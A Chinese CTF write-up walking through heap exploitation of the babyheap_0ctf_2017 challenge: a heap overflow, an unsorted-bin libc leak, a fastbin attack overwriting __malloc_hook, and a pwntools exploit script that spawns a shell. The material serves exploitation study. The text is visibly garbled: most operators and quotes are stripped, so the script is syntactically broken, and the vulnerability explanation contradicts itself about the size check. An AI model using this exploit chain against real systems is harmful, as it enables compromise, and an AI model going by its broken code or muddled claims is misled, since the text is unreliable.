堆溢出与UAF漏洞利用实战:从原理到CTF解题全解析

发布时间:2026/7/27 22:06:59
堆溢出与UAF漏洞利用实战:从原理到CTF解题全解析 1. 项目概述一次经典的堆利用实战复盘最近在BUUCTF平台上复现了一道经典的堆利用题目——babyheap_0ctf_2017。这道题可以说是PWN学习路上的一道“分水岭”它几乎涵盖了堆利用中最核心的几个技术点堆块分配与释放、堆溢出、Use-After-FreeUAF以及如何利用这些漏洞构造出一次完整的攻击链最终拿到目标系统的shell权限。很多刚接触堆漏洞的同学可能会觉得堆利用比栈溢出要抽象和复杂得多因为它涉及到内存管理器的内部机制。但通过这道题我们可以把那些书本上的概念比如fastbin、unsorted bin、malloc hook变成一次看得见摸得着的实战操作。今天我就以一个过来人的身份带大家从头到尾、手把手地拆解这道题不仅讲清楚每一步怎么做更重要的是讲明白每一步“为什么”要这么做。无论你是正在入门PWN的新手还是想巩固堆利用技巧的老手相信这篇详细的复盘都能给你带来一些启发。2. 环境准备与题目初探2.1 题目信息与运行环境搭建首先我们拿到的是一个64位的ELF可执行文件名为babyheap。在开始分析之前搭建一个稳定的调试环境是第一步。我习惯使用Ubuntu 18.04或20.04的虚拟机因为其glibc版本通常是2.27或2.31与很多CTF题目环境接近。使用checksec命令查看一下程序的安全机制checksec babyheap通常你会看到类似下面的输出Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled关键点解析Full RELRO意味着全局偏移表GOT是只读的我们无法通过修改GOT表项来劫持控制流。这直接排除了常规的ret2libc中修改printf或free的GOT这种简单思路。PIE Enabled代码段的地址在每次运行时是随机化的。这意味着我们无法硬编码任何函数或变量的地址必须通过信息泄露来“爆破”出基址。NX Enabled栈不可执行所以不能直接在栈上布置shellcode。Stack Canary栈溢出保护开启结合程序逻辑后面分析基本也排除了栈溢出的可能。这些保护措施将我们的攻击面牢牢限制在了堆漏洞上。程序通常提供了四个功能Allocate分配堆块、Fill向堆块写数据、Free释放堆块、Dump打印堆块内容。这正是典型的“菜单题”我们的所有操作都将围绕这几个功能展开。2.2 逆向分析与漏洞定位用IDA Pro或Ghidra打开程序快速浏览主函数和各个功能函数。核心逻辑通常在一个while循环里根据用户输入调用不同函数。我们需要重点关注Fill函数因为这里是数据写入的地方也是最可能出漏洞的地方。逆向后我们可能会发现类似如下的伪代码逻辑int fill_chunk() { int index; printf(Index: ); scanf(%d, index); if (index 0 || index MAX_CHUNKS || !chunk_ptr_array[index]) { puts(Invalid index.); return -1; } printf(Size: ); unsigned int size; scanf(%u, size); if (size chunk_size_array[index]) { // 漏洞点 puts(Size too big.); return -1; } printf(Content: ); read_input(chunk_ptr_array[index], size); // 实际读取size字节 return 0; }漏洞就在这里程序在Fill时会让我们输入一个size然后检查这个size是否大于该堆块创建时记录的大小chunk_size_array[index]。如果大于就报错。但是关键在于read_input函数读取的字节数正是我们输入的size而不是chunk_size_array[index]。这意味着只要我们输入的size不大于记录的大小即使它实际超过了堆块物理上的边界检查也会通过并且会写入size字节的数据。如果堆块是紧挨着分配的那么超出的数据就会覆盖到相邻堆块的内容这就是典型的堆溢出Heap Overflow。注意这里有一个很常见的误区。新手可能会想那我直接输入一个超大的size不就能溢出了吗不行因为检查会拦下。正确的做法是在Allocate时申请一个较小但够用的堆块比如16字节然后在Fill时输入一个比申请大小稍大、但又不超过记录大小的值比如24字节并精心构造这24字节的内容让多出来的8字节恰好覆盖到下一个堆块的块头。这需要对堆块的内存布局有清晰的认识。3. 利用思路设计与核心原理面对Full RELRO和PIE我们的终极目标通常是劫持程序的控制流让它执行system(‘/bin/sh’)。既然不能改GOT一个经典的思路是攻击malloc hook或free hook。在glibc中__malloc_hook和__free_hook是两个函数指针如果它们不为空那么在调用malloc或free时就会优先执行这两个钩子函数。我们的目标就是把__malloc_hook的值修改为system函数的地址然后触发一次malloc调用并且让它的参数指向字符串/bin/sh。那么问题来了如何泄露地址我们需要知道libc的基址才能算出__malloc_hook和system的实际地址。如何写地址我们需要一个任意地址写Write-Anything-Anywhere的能力把system的地址写到__malloc_hook的位置。如何控制参数我们需要让malloc的参数即size或者其衍生的某个指针指向我们控制的/bin/sh字符串。这道题的利用链完美地回答了这三个问题。其核心可以分为三个阶段我称之为“泄露、布局、劫持”三板斧。3.1 第一阶段利用堆溢出与UAF泄露Libc基址这是整个利用中最精巧也最关键的一步。我们的武器是堆溢出和Use-After-Free (UAF)。构造重叠块Overlapping Chunks首先我们分配多个小堆块例如size为0x10实际chunk大小为0x20。假设我们有块A、B、C、D连续排列。我们利用FillA时的堆溢出修改B的块头chunk header。具体来说我们把B的size域改大比如从0x21改成0x91注意要保留标志位比如PREV_INUSE位。同时为了通过glibc的完整性检查我们还需要伪造B后面那个“块”原本是C的prev_size域让它与B的新size匹配。此时在内存管理器的视角里B变成了一个巨大的、空闲的块大小0x90而C和D都被包含在了这个“大块”B的内部。触发合并进入Unsorted Bin接下来我们Free掉这个被我们“膨胀”了的块B。因为它的size很大不会被放入fastbinfastbin通常处理小于0x80的块而是会被放入unsorted bin。unsorted bin是一个双向链表里面的chunk的fd和bk指针会指向main_arena结构体内部的某个位置在libc的数据段中。这个地址与libc基址的偏移是固定的。UAF读取泄露地址关键点来了块B虽然被释放了但它的指针可能还在程序的数组里这就是UAF的前提。我们之前通过溢出修改的是B的元数据但B的“用户数据区”内容可能还在。当我们再次Allocate一个与原始B大小0x20相同的块时内存管理器可能会从unsorted bin里切分一部分给我们。由于B现在是个“大块”这次分配可能只是从它的头部切出一小部分。此时这个新分配块的用户数据区可能就包含了原来B的fd或bk指针的一部分。我们使用Dump功能打印这个新块的内容就能读到main_arena的地址。用这个地址减去一个固定的偏移量比如在glibc 2.23下main_arena88与__libc_start_main的偏移是固定的就能计算出libc的基址。有了基址__malloc_hook和system的地址就都知道了。实操心得计算libc偏移是动态的取决于glibc版本和具体结构。最稳妥的方法是在调试器中当泄露地址后直接用vmmap命令查看libc的加载基址然后做减法得到偏移量。把这个偏移量记录到你的漏洞利用脚本Exp里。3.2 第二阶段Fastbin Attack与任意地址写拿到libc地址后下一步就是要把system的地址写到__malloc_hook。这里我们祭出另一个法宝Fastbin Attack。准备Fastbin链我们分配几个大小属于fastbin范围例如0x70的堆块然后按顺序释放它们比如释放E再释放F。这样会形成一个fastbin单向链表head - F - E - null后释放的F在链表头部。篡改FD指针利用堆溢出或者另一个UAF我们修改还在fastbin链表中的块F的fd指针。我们的目标不是指向一个合法的堆块而是指向一个我们想要写入的内存地址。这个地址就是__malloc_hook地址附近的一个位置。为什么是“附近”因为fastbin在分配时会严格检查size域。我们伪造的“块”也必须有一个合法的size字段。通常我们会在__malloc_hook附近搜索一些像size域的值比如0x7f。在x64下__malloc_hook前面不远处经常有0x7fxxxxxxxxxx这样的地址其低字节0x7f恰好可以作为一个fastbin的size例如0x7f对应fastbin中大小为0x70的块注意内存对齐和标志位。这个技巧被称为“寻找fake chunk”。完成任意地址写篡改fd后链表变成了head - F - [伪造的地址] - ?。接下来我们连续进行两次malloc(0x60)。第一次分配会返回块F第二次分配就会返回我们伪造地址处的“块”此时我们向这个“块”写数据实际上就是在向__malloc_hook附近的内存写入数据。我们精心构造写入的数据把__malloc_hook的位置覆盖为system函数的地址。3.3 第三阶段触发Hook获取Shell最后一步就简单了。我们需要触发一次malloc调用并且让它的参数size能被解释为/bin/sh字符串的地址。这里有一个经典技巧__malloc_hook的函数签名是void *function(size_t size, const void *caller)。当它被调用时第一个参数就是请求分配的size。system的函数签名是int system(const char *command)。它期望第一个参数是一个字符串指针。如果我们把__malloc_hook覆盖为system那么调用malloc(str)时就相当于执行了system(str)。所以我们只需要在覆盖__malloc_hook为system之后再调用一次malloc并且传入的size参数是一个数字但这个数字恰好是字符串/bin/sh的地址。这要求我们事先在内存中某个已知地址布置好/bin/sh字符串。一个常见的位置是libc数据段里的__free_hook或者某个全局变量附近因为libc本身就有很多字符串常量。我们可以用libc基址加上一个固定的偏移来得到这个字符串的地址。最终执行malloc(bin_sh_addr)程序就会去执行system(“/bin/sh”)从而弹出我们梦寐以求的shell。4. 详细利用步骤与脚本编写理论讲完了我们来看具体操作。下面是一个基于pwntools的Python利用脚本框架并附上关键步骤的注释。#!/usr/bin/env python2 # -*- coding: utf-8 -*- from pwn import * context(archamd64, oslinux, log_leveldebug) # 启动进程 p process(./babyheap) # 本地调试 # p remote(node4.buuoj.cn, 12345) # 远程连接 def alloc(size): p.sendlineafter(Command: , 1) p.sendlineafter(Size: , str(size)) def fill(idx, size, content): p.sendlineafter(Command: , 2) p.sendlineafter(Index: , str(idx)) p.sendlineafter(Size: , str(size)) p.sendafter(Content: , content) def free(idx): p.sendlineafter(Command: , 3) p.sendlineafter(Index: , str(idx)) def dump(idx): p.sendlineafter(Command: , 4) p.sendlineafter(Index: , str(idx)) p.recvuntil(Content: \n) return p.recvline()[:-1] # 1. 布置初始堆布局 alloc(0x10) # chunk 0 alloc(0x10) # chunk 1 alloc(0x10) # chunk 2 alloc(0x10) # chunk 3 alloc(0x80) # chunk 4 一个稍大的块后面用于进入unsorted bin # 2. 利用chunk 0溢出修改chunk 1的size构造重叠 # 假设我们通过逆向知道chunk 1的地址在 chunk 0 用户数据区之后0x20字节处包含chunk 0的头部 # 我们需要覆盖chunk 1的size为 0x91 (0x80数据 0x10头部 1 prev_inuse位) payload A * 0x10 # 填满chunk 0的用户数据 payload p64(0) p64(0x21) # 伪造chunk 0的块头size0x21和下一个块的prev_size这里需要根据实际布局调整 payload B * 0x10 # 可能还有对齐填充 payload p64(0) p64(0x91) # 覆盖chunk 1的size为0x91 fill(0, len(payload), payload) # 3. 释放chunk 1使其进入unsorted bin free(1) # 4. 重新分配利用UAF泄露libc地址 alloc(0x10) # 重新分配一个0x10的块可能会复用chunk 1的部分空间索引为1 libc_leak u64(dump(1)[:8].ljust(8, \x00)) # 读取fd指针 log.success(libc_leak: hex(libc_leak)) # 5. 计算libc基址及相关地址 # 这个偏移需要根据实际调试确定例如 libc2.23: libc_base libc_leak - 0x3c4b78 libc_base libc_leak - 0x3c4b78 malloc_hook libc_base libc.sym[__malloc_hook] system libc_base libc.sym[system] log.success(libc_base: hex(libc_base)) log.success(malloc_hook: hex(malloc_hook)) log.success(system: hex(system)) # 6. 准备fastbin attack alloc(0x60) # chunk 5 alloc(0x60) # chunk 6 free(5) free(6) # 此时fastbin: head - chunk6 - chunk5 - null # 7. 篡改chunk 6的fd指针指向malloc_hook附近的fake chunk # 寻找fake chunk通常在 malloc_hook - 0x23 或 -0x13 的位置有0x7f作为size字段 fake_chunk_addr malloc_hook - 0x23 payload2 C * 0x60 # 填满chunk 4这里需要找到能溢出到chunk 6 fd指针的方法 # 假设通过chunk 4可以溢出到chunk 6 payload2 p64(0) p64(0x71) # 保持size正确 payload2 p64(fake_chunk_addr) # 覆盖chunk 6的fd fill(4, len(payload2), payload2) # 8. 分配两次第二次拿到fake chunk alloc(0x60) # 拿到chunk 6索引可能是5 alloc(0x60) # 拿到fake chunk索引是6 # 9. 向fake chunk写数据覆盖__malloc_hook为system # 计算从fake chunk用户区到__malloc_hook的偏移 payload3 D * 0x13 # 填充偏移 payload3 p64(system) # 覆盖__malloc_hook fill(6, len(payload3), payload3) # 10. 寻找/bin/sh字符串地址并触发malloc # 在libc中搜索/bin/sh字符串 bin_sh_addr libc_base next(libc.search(/bin/sh)) log.success(/bin/sh addr: hex(bin_sh_addr)) # 11. 触发getshell alloc(bin_sh_addr) # 调用 malloc(bin_sh_addr) - system(“/bin/sh”) p.interactive()重要提示以上脚本是一个高度简化的框架其中的偏移如堆布局偏移、libc偏移、fake chunk偏移都需要你在本地动态调试中逐一确定。直接运行很可能不成功但它清晰地展示了整个利用链的代码逻辑。5. 动态调试技巧与问题排查写Exp的过程就是不断调试的过程。这里分享几个至关重要的调试技巧和常见问题。5.1 使用GEF/Pwndbg增强调试纯GDB很难直观查看堆状态。强烈推荐使用GEF或Pwndbg插件。heap chunks查看所有堆块包括已分配和空闲的一目了然。heap bins查看各个binfastbin, unsorted bin, small bin, large bin里的情况这是理解堆管理器状态的核心。vis_heap_chunks图形化显示堆块非常直观。search-pattern在内存中搜索特定字节序列用于找字符串或地址。5.2 关键断点与信息收集在脚本中pause()然后在调试器中attach进程。泄露地址时在free(1)之后和alloc(0x10)之前下断点。用heap bins看unsorted bin里是不是有一个大块它的fd/bk指向哪里。用x/gx chunk_addr查看内存确认泄露的值。计算偏移泄露地址后用vmmap命令查看libc的加载基址。计算泄露地址 - libc_base这个值就是你的libc偏移。不同版本、不同环境本地/远程可能不同。Fastbin Attack时在第二次free形成fastbin链之后、以及覆盖fd指针之后分别用heap bins fast查看fastbin链表的变化确保fd被成功修改指向了我们的目标地址附近。寻找fake chunk在得到malloc_hook地址后用x/32gx malloc_hook-0x40命令查看周围内存寻找像0x00007fxxxxxxxxxx这样的值其低字节0x7f可以作为size。注意size字段在内存中位于chunk的开始位置。5.3 常见问题与解决方案Exp本地通远程不通最常见原因libc版本不同导致偏移不同。一定要用题目提供的libc.so.6文件。使用p remote()连接后用LibcSearcher工具如果题目没给libc或者用泄露的地址去比对已知的libc数据库如https://libc.blukat.me/来找到正确的版本和偏移。堆布局不同远程服务器的堆初始化状态可能和本地略有差异导致计算出的偏移错位。需要在脚本中加入一定的“容错”性比如多分配几个填充块。malloc(): memory corruption (fast)错误这是fastbin的完整性检查失败了。原因通常是伪造的chunk的size字段不符合对应fastbin的要求。确保你找到的fake chunk的size域比如0x7f对应的chunk大小0x70与你分配时请求的大小malloc(0x60)匹配。注意size是用户请求大小加上块头对齐后的值。泄露的地址看起来不对可能是堆布局计算错误读到的不是fd/bk指针。确保你释放的块确实进入了unsorted bin而不是fastbin块要足够大。确保你读取的索引对应的堆块其内容确实包含了泄露的指针。多用调试器查看内存。覆盖__malloc_hook后程序崩溃检查覆盖的地址是否正确。__malloc_hook是一个函数指针占8字节。确保你的payload精确地覆盖到了这个位置前面填充的字节数要计算准确。检查system函数的地址是否正确。注意libc中system的符号地址。6. 总结与进阶思考通过babyheap_0ctf_2017这道题我们完整地实践了一次在现代保护机制Full RELRO, PIE, NX下如何综合利用堆溢出和UAF漏洞完成攻击。其技术路径非常经典堆溢出制造重叠块 - 释放入unsorted bin泄露libc - fastbin attack实现任意写 - 覆盖__malloc_hook- 触发getshell。这道题之所以经典是因为它像一本教科书把多个知识点串联了起来。在实际的漏洞利用中情况可能更复杂比如需要结合off-by-one、unlink、tcache poisoning在更高版本glibc中等技巧。但核心思路不变信息泄露和控制流劫持。对于想深入学习的同学在搞定这道题后可以尝试以下方向研究glibc 2.27及以上版本引入的tcache机制它极大地改变了堆利用的面貌既有新的利用方法如tcache poisoning也带来了新的挑战如双释放检测。尝试不使用__malloc_hook而是利用house of系列等高级技巧在更严格的限制下完成利用。关注真实世界中的堆漏洞案例例如CVE-2019-0708BlueKeep中涉及的池溢出理解从CTF到实战的差异。堆利用的学习曲线确实陡峭它要求你对内存布局、程序状态有非常清晰的想象。最好的学习方法就是像我们今天这样找一道好题边调试边思考把每一个字节的变化都弄明白。当你成功弹出第一个shell时那种对底层机制豁然开朗的感觉是无与伦比的。希望这篇详细的解析能成为你攻克堆利用难关的一块坚实垫脚石。